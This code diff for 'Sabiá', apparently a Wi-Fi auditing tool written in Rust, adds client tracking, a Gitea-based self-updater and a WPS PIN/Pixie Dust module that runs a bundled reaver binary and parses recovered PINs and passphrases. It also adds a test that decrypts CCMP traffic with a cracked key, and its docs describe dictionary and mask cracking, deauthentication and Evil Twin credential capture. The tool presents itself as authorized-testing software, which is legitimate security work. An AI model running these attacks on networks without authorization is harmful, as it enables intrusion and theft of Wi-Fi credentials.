c.bssid = Some(bssid.clone());
|
||||
c.associated = true;
|
||||
if !was {
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "associate".into(),
|
||||
detail: Some(bssid.clone()),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||
ap.data_frames += 1;
|
||||
if !ap.clients.contains(&client) {
|
||||
@@ -238,6 +377,14 @@ impl ScanTable {
|
||||
}
|
||||
FrameKind::Deauth | FrameKind::Disassoc => {
|
||||
self.deauth_frames += 1;
|
||||
self.deauth_times.push_back(now);
|
||||
while self
|
||||
.deauth_times
|
||||
.front()
|
||||
.is_some_and(|t| now.saturating_sub(*t) > 60)
|
||||
{
|
||||
self.deauth_times.pop_front();
|
||||
}
|
||||
event.deauth = true;
|
||||
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
|
||||
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
|
||||
@@ -249,6 +396,14 @@ impl ScanTable {
|
||||
};
|
||||
if let Some(client) = client {
|
||||
if let Some(c) = self.clients.get_mut(&client) {
|
||||
if c.associated {
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "deauth".into(),
|
||||
detail: bssid.clone(),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
c.associated = false;
|
||||
c.last_seen_unix = now;
|
||||
}
|
||||
@@ -266,6 +421,16 @@ impl ScanTable {
|
||||
.entry(mac.to_string())
|
||||
.or_insert_with(|| Client {
|
||||
mac: mac.to_string(),
|
||||
display_name: None,
|
||||
vendor: crate::oui::vendor(mac).map(str::to_string),
|
||||
manufacturer: None,
|
||||
model: None,
|
||||
device_name: None,
|
||||
hostname: None,
|
||||
ip: None,
|
||||
os: None,
|
||||
device: None,
|
||||
random_mac: is_random_mac(mac),
|
||||
bssid: None,
|
||||
signal_dbm: None,
|
||||
max_signal_dbm: None,
|
||||
@@ -274,15 +439,49 @@ impl ScanTable {
|
||||
associated: false,
|
||||
first_seen_unix: now,
|
||||
last_seen_unix: now,
|
||||
signal_history: Vec::new(),
|
||||
events: vec![ClientEvent {
|
||||
t: now,
|
||||
kind: "first_seen".into(),
|
||||
detail: None,
|
||||
}],
|
||||
});
|
||||
c.last_seen_unix = now;
|
||||
c.signal_dbm = signal;
|
||||
if let Some(sig) = signal {
|
||||
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||
let should_push = c
|
||||
.signal_history
|
||||
.last()
|
||||
.map_or(true, |s| s.t != now || s.dbm != sig);
|
||||
if should_push {
|
||||
c.signal_history.push(SignalSample { t: now, dbm: sig });
|
||||
if c.signal_history.len() > 60 {
|
||||
let drop = c.signal_history.len() - 60;
|
||||
c.signal_history.drain(0..drop);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
|
||||
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
|
||||
// refresh_identity de novo.
|
||||
if c.display_name.is_none() {
|
||||
refresh_identity(c);
|
||||
}
|
||||
c
|
||||
}
|
||||
|
||||
pub fn analysis(&self) -> crate::analysis::Analysis {
|
||||
let now = unix_now();
|
||||
let aps = self.access_points();
|
||||
let deauth = self.deauth_times.len() as u32;
|
||||
crate::analysis::analyze(&aps, deauth, now)
|
||||
}
|
||||
|
||||
pub fn deauth_60s(&self) -> u32 {
|
||||
self.deauth_times.len() as u32
|
||||
}
|
||||
|
||||
pub fn access_points(&self) -> Vec<AccessPoint> {
|
||||
let mut v: Vec<_> = self.aps.values().cloned().collect();
|
||||
v.sort_by(|a, b| {
|
||||
@@ -337,6 +536,102 @@ impl ScanTable {
|
||||
}
|
||||
}
|
||||
|
||||
fn is_random_mac(mac: &str) -> bool {
|
||||
let Some(first) = mac.split(':').next() else {
|
||||
return false;
|
||||
};
|
||||
u8::from_str_radix(first, 16)
|
||||
.map(|b| b & 0x02 != 0 && b & 0x01 == 0)
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
fn apply_management_identity(c: &mut Client, info: &dot11::ManagementInfo) {
|
||||
if let Some(name) = info.wps_device_name.as_deref().filter(|s| !s.is_empty()) {
|
||||
c.device_name = Some(name.to_string());
|
||||
}
|
||||
if let Some(manufacturer) = info.wps_manufacturer.as_deref().filter(|s| !s.is_empty()) {
|
||||
c.manufacturer = Some(manufacturer.to_string());
|
||||
}
|
||||
if let Some(model) = info.wps_model.as_deref().filter(|s| !s.is_empty()) {
|
||||
c.model = Some(model.to_string());
|
||||
}
|
||||
if let Some(hint) = c.device_name.as_deref().or(c.model.as_deref()) {
|
||||
if let Some(device) = dot11::device_from_text(hint) {
|
||||
c.device = Some(device);
|
||||
}
|
||||
if let Some(os) = dot11::os_from_text(hint) {
|
||||
c.os = Some(os);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_payload_identity(c: &mut Client, info: &dot11::PayloadInfo) {
|
||||
if let Some(ip) = &info.ip {
|
||||
c.ip = Some(ip.clone());
|
||||
}
|
||||
if let Some(hostname) = &info.hostname {
|
||||
if !hostname.is_empty() {
|
||||
c.hostname = Some(hostname.clone());
|
||||
}
|
||||
}
|
||||
if let Some(manufacturer) = &info.manufacturer {
|
||||
c.manufacturer = c.manufacturer.take().or_else(|| Some(manufacturer.clone()));
|
||||
}
|
||||
if let Some(model) = &info.model {
|
||||
c.model = Some(model.clone());
|
||||
}
|
||||
if let Some(os) = &info.os {
|
||||
c.os = Some(os.clone());
|
||||
}
|
||||
if let Some(device) = &info.device {
|
||||
c.device = Some(device.clone());
|
||||
}
|
||||
if let Some(hint) = c.hostname.as_deref().or(c.device_name.as_deref()) {
|
||||
if c.os.is_none() {
|
||||
c.os = dot11::os_from_text(hint);
|
||||
}
|
||||
if c.device.is_none() {
|
||||
c.device = dot11::device_from_text(hint);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn refresh_identity(c: &mut Client) {
|
||||
if c.manufacturer.is_none() {
|
||||
c.manufacturer = c.vendor.clone();
|
||||
}
|
||||
if c.os.is_none() {
|
||||
c.os = c
|
||||
.hostname
|
||||
.as_deref()
|
||||
.or(c.device_name.as_deref())
|
||||
.or(c.model.as_deref())
|
||||
.and_then(dot11::os_from_text);
|
||||
}
|
||||
if c.device.is_none() {
|
||||
c.device = c
|
||||
.hostname
|
||||
.as_deref()
|
||||
.or(c.device_name.as_deref())
|
||||
.or(c.model.as_deref())
|
||||
.and_then(dot11::device_from_text);
|
||||
}
|
||||
c.display_name = c
|
||||
.hostname
|
||||
.clone()
|
||||
.or_else(|| c.device_name.clone())
|
||||
.or_else(|| c.model.clone())
|
||||
.or_else(|| c.manufacturer.clone());
|
||||
}
|
||||
|
||||
fn trim_events(c: &mut Client) {
|
||||
const MAX: usize = 40;
|
||||
if c.events.len() > MAX {
|
||||
let drop = c.events.len() - MAX;
|
||||
c.events.drain(0..drop);
|
||||
}
|
||||
}
|
||||
|
||||
fn security_label(s: Security) -> String {
|
||||
match s {
|
||||
Security::Open => "Open".into(),
|
||||
@@ -469,4 +764,12 @@ mod tests {
|
||||
assert_eq!(table.stats().deauth_frames, 1);
|
||||
assert!(!table.clients()[0].associated);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn flags_locally_administered_macs() {
|
||||
assert!(is_random_mac("5a:0d:93:04:cf:90"));
|
||||
assert!(is_random_mac("02:11:22:33:44:55"));
|
||||
assert!(!is_random_mac("00:11:22:33:44:55"));
|
||||
assert!(!is_random_mac("ff:ff:ff:ff:ff:ff"));
|
||||
}
|
||||
}
|
||||
@@ -25,11 +25,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
||||
f[1] = EAPOL_TYPE_KEY;
|
||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||
f[4] = 2;
|
||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
||||
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||
f[17..49].copy_from_slice(&nonce);
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||
f
|
||||
}
|
||||
@@ -205,6 +205,7 @@ pub fn synthetic_handshake(
|
||||
first_seen_unix: 1,
|
||||
last_seen_unix: 2,
|
||||
password: None,
|
||||
tk: None,
|
||||
};
|
||||
// Exercita o parser de MAC do alvo.
|
||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//! Auto-atualização simples: verifica a última release no GitHub, baixa o
|
||||
//! Auto-atualização simples: verifica a última release no Gitea, baixa o
|
||||
//! binário certo para a plataforma atual, confere o checksum e troca o
|
||||
//! executável em uso — sem o usuário precisar baixar nada manualmente.
|
||||
//!
|
||||
@@ -12,7 +12,13 @@ use std::fs;
|
||||
use std::path::PathBuf;
|
||||
use std::process::Command;
|
||||
|
||||
const REPO: &str = "lucasrguerra/sabia";
|
||||
/// A API do Gitea devolve o mesmo formato de `releases/latest` que o GitHub devolvia
|
||||
/// (`tag_name`, `assets[].name`, `assets[].browser_download_url`).
|
||||
const LATEST_RELEASE_URL: &str =
|
||||
"https://git.lucasrguerra.dev.br/api/v1/repos/lucasrguerra/sabia/releases/latest";
|
||||
|
||||
/// Página de downloads, para quem usa o app desktop.
|
||||
const RELEASES_PAGE_URL: &str = "https://git.lucasrguerra.dev.br/lucasrguerra/sabia/releases";
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct Release {
|
||||
@@ -92,8 +98,8 @@ fn asset_suffix_for_platform() -> String {
|
||||
/// Consulta a última release publicada e compara com a versão atual
|
||||
/// (`CARGO_PKG_VERSION` do binário chamador).
|
||||
pub fn check(current_version: &str) -> Result<UpdateStatus> {
|
||||
let url = format!("https://api.github.com/repos/{REPO}/releases/latest");
|
||||
let body = match curl_text(&url) {
|
||||
let url = LATEST_RELEASE_URL;
|
||||
let body = match curl_text(url) {
|
||||
Ok(b) => b,
|
||||
Err(_) => {
|
||||
// Sem rede, ou repositório ainda sem releases publicadas: não é
|
||||
@@ -118,8 +124,22 @@ pub fn check(current_version: &str) -> Result<UpdateStatus> {
|
||||
/// Baixa e aplica a atualização mais recente, substituindo o binário atual.
|
||||
/// Retorna a versão instalada.
|
||||
pub fn apply(current_exe: &PathBuf) -> Result<String> {
|
||||
let url = format!("https://api.github.com/repos/{REPO}/releases/latest");
|
||||
let body = curl_text(&url)?;
|
||||
// O pacote da release contém o CLI (`sabia`). Trocar por ele um executável que
|
||||
// não seja o CLI, como o `sabia-gui`, o deixaria como um CLI e quebraria o app
|
||||
// na próxima abertura. O app desktop se atualiza baixando o instalador.
|
||||
let is_cli = current_exe
|
||||
.file_stem()
|
||||
.map(|stem| stem == "sabia")
|
||||
.unwrap_or(false);
|
||||
if !is_cli {
|
||||
return Err(SabiaError::CommandFailed {
|
||||
cmd: "update".into(),
|
||||
detail: format!(
|
||||
"a atualização automática vale só para o CLI `sabia`; para o app desktop, baixe o instalador em {RELEASES_PAGE_URL}"
|
||||
),
|
||||
});
|
||||
}
|
||||
let body = curl_text(LATEST_RELEASE_URL)?;
|
||||
let release: Release = serde_json::from_str(&body)?;
|
||||
|
||||
let suffix = asset_suffix_for_platform();
|
||||
@@ -225,3 +245,17 @@ fn find_binary(dir: &PathBuf) -> Result<PathBuf> {
|
||||
detail: "binário não encontrado no pacote baixado".into(),
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn apply_refuses_to_overwrite_the_desktop_app() {
|
||||
// Falha antes de qualquer acesso à rede: o nome do executável já não é o do CLI.
|
||||
let err = apply(&PathBuf::from("/opt/sabia/sabia-gui")).unwrap_err();
|
||||
assert!(err.to_string().contains("só para o CLI"), "{err}");
|
||||
let err = apply(&PathBuf::from("C:/Program Files/Sabia/sabia-gui.exe")).unwrap_err();
|
||||
assert!(err.to_string().contains(RELEASES_PAGE_URL), "{err}");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,212 @@
|
||||
//! Ataque de PIN WPS com o `reaver` embutido.
|
||||
//!
|
||||
//! O protocolo EAP-WSC é grande demais para reimplementar aqui; o Sabiá
|
||||
//! carrega uma cópia do reaver (GPL-2, veja `assets/tools/LICENSE.reaver`),
|
||||
//! extrai em tempo de execução e mostra a saída ao vivo. Assim o WPS já
|
||||
//! funciona sem instalar nada. Se o usuário tiver um `bully` no PATH, ele
|
||||
//! também aparece como alternativa.
|
||||
|
||||
use serde::Serialize;
|
||||
use std::path::PathBuf;
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct WpsTool {
|
||||
pub name: String,
|
||||
pub path: String,
|
||||
pub bundled: bool,
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
const BUNDLED_REAVER: &[u8] = include_bytes!("../../../assets/tools/reaver");
|
||||
|
||||
/// Procura um binário no `PATH` — usado pelo WPS (reaver/bully) e, fora
|
||||
/// deste módulo, pelo Evil Twin (hostapd/dnsmasq), que precisa da mesma
|
||||
/// checagem sem puxar uma dependência nova só pra isso.
|
||||
pub(crate) fn find_in_path(binary: &str) -> Option<PathBuf> {
|
||||
let path = std::env::var_os("PATH")?;
|
||||
for dir in std::env::split_paths(&path) {
|
||||
let candidate = dir.join(binary);
|
||||
if candidate.is_file() {
|
||||
return Some(candidate);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
pub fn tools() -> Vec<WpsTool> {
|
||||
let mut out = Vec::new();
|
||||
#[cfg(target_os = "linux")]
|
||||
out.push(WpsTool {
|
||||
name: "reaver".into(),
|
||||
path: "integrado".into(),
|
||||
bundled: true,
|
||||
});
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
if let Some(path) = find_in_path("reaver") {
|
||||
out.push(WpsTool {
|
||||
name: "reaver".into(),
|
||||
path: path.display().to_string(),
|
||||
bundled: false,
|
||||
});
|
||||
}
|
||||
if let Some(path) = find_in_path("bully") {
|
||||
out.push(WpsTool {
|
||||
name: "bully".into(),
|
||||
path: path.display().to_string(),
|
||||
bundled: false,
|
||||
});
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub fn tool_path(name: &str) -> Option<PathBuf> {
|
||||
match name {
|
||||
"reaver" => bundled_reaver().or_else(|| find_in_path("reaver")),
|
||||
"bully" => find_in_path("bully"),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn bundled_reaver() -> Option<PathBuf> {
|
||||
use std::fs;
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
|
||||
// `temp_dir` é compartilhado; usa um diretório por UID e confere que ele
|
||||
// não é um symlink antes de gravar, para não seguir link de outro usuário.
|
||||
let uid = unsafe { libc::geteuid() };
|
||||
let dir = std::env::temp_dir().join(format!("sabia-tools-{uid}"));
|
||||
if let Ok(meta) = fs::symlink_metadata(&dir) {
|
||||
if !meta.is_dir() || meta.file_type().is_symlink() {
|
||||
return find_in_path("reaver");
|
||||
}
|
||||
} else if fs::create_dir_all(&dir).is_err() {
|
||||
return find_in_path("reaver");
|
||||
}
|
||||
let _ = fs::set_permissions(&dir, fs::Permissions::from_mode(0o700));
|
||||
|
||||
let path = dir.join("reaver");
|
||||
if let Ok(meta) = fs::symlink_metadata(&path) {
|
||||
if !meta.is_file() || meta.file_type().is_symlink() {
|
||||
return find_in_path("reaver");
|
||||
}
|
||||
if meta.len() == BUNDLED_REAVER.len() as u64 {
|
||||
return Some(path);
|
||||
}
|
||||
}
|
||||
fs::write(&path, BUNDLED_REAVER).ok()?;
|
||||
fs::set_permissions(&path, fs::Permissions::from_mode(0o700)).ok()?;
|
||||
Some(path)
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn bundled_reaver() -> Option<PathBuf> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Argumentos para uma execução. Sem PIN, usa Pixie Dust (`-K 1`) no reaver
|
||||
/// e o ataque padrão no bully.
|
||||
pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str>) -> Vec<String> {
|
||||
let channel = channel.to_string();
|
||||
match tool {
|
||||
"bully" => {
|
||||
let mut args = vec![
|
||||
"-b".into(),
|
||||
bssid.into(),
|
||||
"-c".into(),
|
||||
channel,
|
||||
"-d".into(),
|
||||
iface.into(),
|
||||
"-v".into(),
|
||||
"3".into(),
|
||||
];
|
||||
if let Some(pin) = pin {
|
||||
args.push("-p".into());
|
||||
args.push(pin.into());
|
||||
}
|
||||
args
|
||||
}
|
||||
_ => {
|
||||
let mut args = vec![
|
||||
"-i".into(),
|
||||
iface.into(),
|
||||
"-b".into(),
|
||||
bssid.into(),
|
||||
"-c".into(),
|
||||
channel,
|
||||
"-vv".into(),
|
||||
];
|
||||
match pin {
|
||||
Some(pin) => {
|
||||
args.push("-p".into());
|
||||
args.push(pin.into());
|
||||
}
|
||||
None => {
|
||||
args.push("-K".into());
|
||||
args.push("1".into());
|
||||
}
|
||||
}
|
||||
args
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Extrai PIN/PSK de uma linha de saída do reaver/bully.
|
||||
pub fn parse_line(line: &str) -> (Option<String>, Option<String>) {
|
||||
let lower = line.to_ascii_lowercase();
|
||||
let grab = |needle: &str| -> Option<String> {
|
||||
let idx = lower.find(needle)? + needle.len();
|
||||
let rest = line[idx..].trim();
|
||||
let rest = rest
|
||||
.split_whitespace()
|
||||
.next()?
|
||||
.trim_matches(|c| c == '\'' || c == '"');
|
||||
if rest.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(rest.to_string())
|
||||
}
|
||||
};
|
||||
let pin = if lower.contains("wps pin") || lower.contains("pin:") {
|
||||
grab("pin:").or_else(|| grab("wps pin"))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let psk = if lower.contains("wpa psk") || lower.contains("psk:") {
|
||||
grab("psk:")
|
||||
} else {
|
||||
None
|
||||
};
|
||||
(pin, psk)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn parses_reaver_output() {
|
||||
assert_eq!(
|
||||
parse_line("[+] WPS PIN: '12345670'"),
|
||||
(Some("12345670".into()), None)
|
||||
);
|
||||
assert_eq!(
|
||||
parse_line("[+] WPA PSK: 'senha-secreta'"),
|
||||
(None, Some("senha-secreta".into()))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn builds_pixie_dust_args() {
|
||||
let pixie = args("reaver", "wlan0mon", "00:11:22:33:44:55", 6, None);
|
||||
assert!(pixie.contains(&"-K".to_string()));
|
||||
let pin = args(
|
||||
"bully",
|
||||
"wlan0mon",
|
||||
"00:11:22:33:44:55",
|
||||
6,
|
||||
Some("12345670"),
|
||||
);
|
||||
assert!(pin.windows(2).any(|w| w == ["-p", "12345670"]));
|
||||
}
|
||||
}
|
||||
@@ -37,11 +37,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
||||
f[1] = EAPOL_TYPE_KEY;
|
||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||
f[4] = 2;
|
||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
||||
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||
f[17..49].copy_from_slice(&nonce);
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||
f
|
||||
}
|
||||
@@ -231,6 +231,7 @@ pub fn synthetic_handshake(
|
||||
first_seen_unix: 1,
|
||||
last_seen_unix: 2,
|
||||
password: None,
|
||||
tk: None,
|
||||
};
|
||||
// Exercita o parser de MAC do alvo.
|
||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||
|
||||
@@ -67,6 +67,98 @@ fn hidden_ssid_beacon_is_marked_hidden() {
|
||||
assert!(aps[0].hidden);
|
||||
}
|
||||
|
||||
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
|
||||
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
|
||||
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
|
||||
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
|
||||
/// aparece mesmo com o bit "Protected" ligado.
|
||||
#[test]
|
||||
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
|
||||
use sabia_core::crack::{compute_ptk, derive_pmk};
|
||||
|
||||
let mut table = ScanTable::new();
|
||||
let ssid = "RedeCifrada";
|
||||
let password = "senha-correta";
|
||||
|
||||
let beacon = common::beacon_frame(common::ap(), ssid, 6, &[2]);
|
||||
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
|
||||
|
||||
let (f1, f2) = common::handshake_radiotap_frames(ssid, password, 2, false);
|
||||
table.ingest(&f1);
|
||||
table.ingest(&f2);
|
||||
|
||||
let bssid_str = sabia_core::dot11::mac_to_string(&common::ap());
|
||||
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
|
||||
table.set_password(&bssid_str, &station_str, password);
|
||||
|
||||
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
|
||||
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
|
||||
let anonce = [0xaa; 32];
|
||||
let snonce = [0xbb; 32];
|
||||
let pmk = derive_pmk(password, ssid);
|
||||
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
|
||||
let expected_tk: [u8; 16] = ptk[32..48].try_into().unwrap();
|
||||
let hs = table
|
||||
.handshake(&bssid_str, &station_str)
|
||||
.expect("handshake presente");
|
||||
assert_eq!(
|
||||
hs.tk,
|
||||
Some(expected_tk),
|
||||
"TK deveria ser derivada ao quebrar a senha"
|
||||
);
|
||||
|
||||
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
|
||||
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
|
||||
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
|
||||
let llc_ipv4 = {
|
||||
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
|
||||
let mut ip = vec![
|
||||
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
|
||||
];
|
||||
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
|
||||
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
|
||||
v.extend_from_slice(&ip);
|
||||
v
|
||||
};
|
||||
let ccmp_header = [0x01u8, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00]; // PN=1, ExtIV
|
||||
let mut to_cipher = Vec::new();
|
||||
to_cipher.extend_from_slice(&ccmp_header);
|
||||
to_cipher.extend_from_slice(&llc_ipv4);
|
||||
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
|
||||
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
|
||||
.expect("cifra via CTR simétrico");
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&ccmp_header);
|
||||
body.extend_from_slice(&ciphertext);
|
||||
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
|
||||
|
||||
let mut frame = Vec::new();
|
||||
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
|
||||
frame.extend_from_slice(&fc.to_le_bytes());
|
||||
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
|
||||
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
|
||||
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
|
||||
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
|
||||
frame.extend_from_slice(&[0u8; 2]); // sequence control
|
||||
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
|
||||
frame.extend_from_slice(&body);
|
||||
|
||||
let ev = table.ingest_at(&common::radiotap_wrap(&frame, 2437, -45), 30);
|
||||
assert!(!ev.eapol, "não é um quadro EAPOL");
|
||||
|
||||
let clients = table.clients();
|
||||
let client = clients
|
||||
.iter()
|
||||
.find(|c| c.mac == station_str)
|
||||
.expect("cliente deveria ter sido visto");
|
||||
assert_eq!(
|
||||
client.ip.as_deref(),
|
||||
Some("192.168.1.50"),
|
||||
"o IP só aparece se o CCMP foi decifrado corretamente"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pmkid_only_handshake_is_detected_and_crackable() {
|
||||
let mut table = ScanTable::new();
|
||||
|
||||
+2
-2
@@ -39,10 +39,10 @@ sabia analyze <file.pcap> [--json]
|
||||
## `crack` — dictionary cracking
|
||||
|
||||
```bash
|
||||
sabia crack <file.pcap> --wordlist <list.txt> [--bssid <mac>] [--station <mac>] [--json]
|
||||
sabia crack <file.pcap> --wordlist <list.txt> [--bssid <mac>] [--station <mac>] [--rules] [--json]
|
||||
```
|
||||
|
||||
Recomputes the PMK with PBKDF2-HMAC-SHA1 and checks the MIC (4-way) or the PMKID, for WPA/WPA2-PSK. `--bssid`/`--station` filter which handshake to use.
|
||||
Recomputes the PMK with PBKDF2-HMAC-SHA1 and checks the MIC (4-way) or the PMKID, for WPA/WPA2-PSK. `--bssid`/`--station` filter which handshake to use. `--rules` applies hashcat-style mutations (uppercase, numeric/symbol suffixes, simple leet) to each dictionary word — multiplies the time for real. The desktop app and `sabia ui` additionally offer the bundled 9.7M-password dictionary by default, mask brute force (`?d?l?u?s?a`), and `.hc22000` export.
|
||||
|
||||
## `deauth` — authorized deauthentication test
|
||||
|
||||
|
||||
+4
-1
@@ -9,7 +9,10 @@ The desktop app (Tauri) and the browser version (`sabia ui`) are the same front-
|
||||
- **Interface sidebar:** lists the Wi-Fi interfaces; pick one to work with. The footer has the version and the one-click **update** button.
|
||||
- **Capture panel:** header with the current mode (managed/monitor), an **animated signal line**, and the **enable monitor mode** and **start capture** buttons.
|
||||
- **Authorized-use notice**, always in view: use only on your own networks or with authorization; every monitor activation and capture goes into the local audit trail.
|
||||
- **Networks seen:** live table with SSID, signal bars, channel and a color-coded security badge (open, WEP, WPA/WPA2, WPA3).
|
||||
- **Networks seen:** live table with SSID, signal bars, channel and a color-coded security badge (open, WEP, WPA/WPA2, WPA3). Row order is stable (arrival order, signal rounded to 4 dBm buckets) so it doesn't shuffle under the cursor as signal fluctuates.
|
||||
- **Channels view:** interference/overlap scoring per band with a recommended channel.
|
||||
- **Network detail → Attacks tab:** directional/continuous deauthentication, PMF probing, clientless PMKID hunting, handshake capture (auto-resumes the capture session if it was stopped), cracking (bundled 9.7M-password dictionary, mutation rules, mask brute force), `.hc22000` export, WPS PIN/Pixie Dust, Evil Twin with captive portal (WPA/WPA2-PSK), and — only shown for 802.1X networks — the Enterprise Evil Twin variant that captures credentials automatically. Every action requires the authorized-use checkbox and is logged to the audit trail.
|
||||
- **Report:** a paginated, printable audit report (cover, table of contents, findings, channel scoring, networks/clients/handshakes, audit trail) previewed in a dialog and printable to PDF from the browser.
|
||||
|
||||
## Privilege
|
||||
|
||||
|
||||
+2
-2
@@ -39,10 +39,10 @@ sabia analyze <arquivo.pcap> [--json]
|
||||
## `crack` — quebra por dicionário
|
||||
|
||||
```bash
|
||||
sabia crack <arquivo.pcap> --wordlist <lista.txt> [--bssid <mac>] [--station <mac>] [--json]
|
||||
sabia crack <arquivo.pcap> --wordlist <lista.txt> [--bssid <mac>] [--station <mac>] [--rules] [--json]
|
||||
```
|
||||
|
||||
Recalcula a PMK com PBKDF2-HMAC-SHA1 e confere o MIC (4-way) ou o PMKID, para WPA/WPA2-PSK. `--bssid`/`--station` filtram qual handshake usar.
|
||||
Recalcula a PMK com PBKDF2-HMAC-SHA1 e confere o MIC (4-way) ou o PMKID, para WPA/WPA2-PSK. `--bssid`/`--station` filtram qual handshake usar. `--rules` aplica mutações estilo hashcat (maiúscula, sufixos numéricos/símbolos, leet simples) a cada palavra do dicionário — multiplica o tempo de verdade. O app desktop e o `sabia ui` oferecem também o dicionário embutido de 9,7 milhões de senhas por padrão, força bruta por máscara (`?d?l?u?s?a`) e exportação em `.hc22000`.
|
||||
|
||||
## `deauth` — teste autorizado de desautenticação
|
||||
|
||||
|
||||
@@ -9,7 +9,10 @@ O app desktop (Tauri) e a versão no navegador (`sabia ui`) são o mesmo front-e
|
||||
- **Sidebar de interfaces:** lista as interfaces Wi-Fi; selecione uma para trabalhar. No rodapé ficam a versão e o botão de **atualização** em um clique.
|
||||
- **Painel de captura:** cabeçalho com o modo atual (managed/monitor), uma **linha de sinal animada**, e os botões **ativar modo monitor** e **iniciar captura**.
|
||||
